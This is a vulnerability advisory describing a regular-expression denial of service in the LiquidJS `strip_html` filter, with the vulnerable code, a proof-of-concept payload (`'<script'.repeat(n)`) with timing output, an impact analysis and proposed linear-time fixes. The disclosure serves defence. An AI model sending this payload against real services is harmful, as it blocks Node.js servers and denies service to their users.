LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex

## Summary The built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `<script`, `<style`, or `<!--` opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request (`'<script'.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit — the regex itself runs unbounded. ## Details The vulnerable filter is at `src/filters/html.ts:45-49`: ```ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '') } ``` The regex contains four lazy patterns: 1. `<script[\s\S]*?<\/script>` 2. `<style[\s\S]*?<\/style>` 3. `<.*?>` 4. `<!--[\s\S]*?-->` For an input like `'<script'.repeat(N)`, the engine encounters N starting `<` positions. At each one it must lazily expand `[\s\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²). Reachability: 1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`. 2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. 3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking. This is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues — the mechanism here is regex backtracking CPU consumption on a different filter. ## PoC Empirical scaling confirmed against a freshly built `[email protected]` bundle on Node 22 / Linux: ```bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { for (const n of [1000, 2000, 4000, 8000, 16000]) { const payload = '<script'.repeat(n); const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0)); } })(); " ``` Verified output: ``` n=1000 inputLen=7000 ms=5 n=2000 inputLen=14000 ms=12 (2.4x for 2x size) n=4000 inputLen=28000 ms=46 (3.8x for 2x size) n=8000 inputLen=56000 ms=187 (4.0x for 2x size) n=16000 inputLen=112000 ms=737 (3.9x for 2x size) ``` A larger payload extrapolates straightforwardly: ```bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { const payload = '<script'.repeat(50000); // 350 KB const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('elapsed ms:', Date.now() - t0); })(); " # elapsed ms: ~10000+ (Node single-threaded event loop fully blocked) ``` The same pathology applies to `<style` and `<!--` openers. ## Impact - **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex. - **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker. - **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed. - **memoryLimit doesn't help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal. ## Recommended Fix Replace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass. Option 1 — anchor each alternative so lazy expansion fails fast on chunked content (no `[\s\S]*?` over the full tail): ```ts return str.replace( /<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g, '' ) ``` This unrolls each lazy quantifier so each `<` is visited at most a constant number of times overall — linear total work. Option 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `<script>`, `<style>`, comment, or generic tag, and emit nothing for those ranges. Either fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front: ```ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // ... linear-time strip implementation here } ```

Quoted source text, attributed separately from HOL analysis.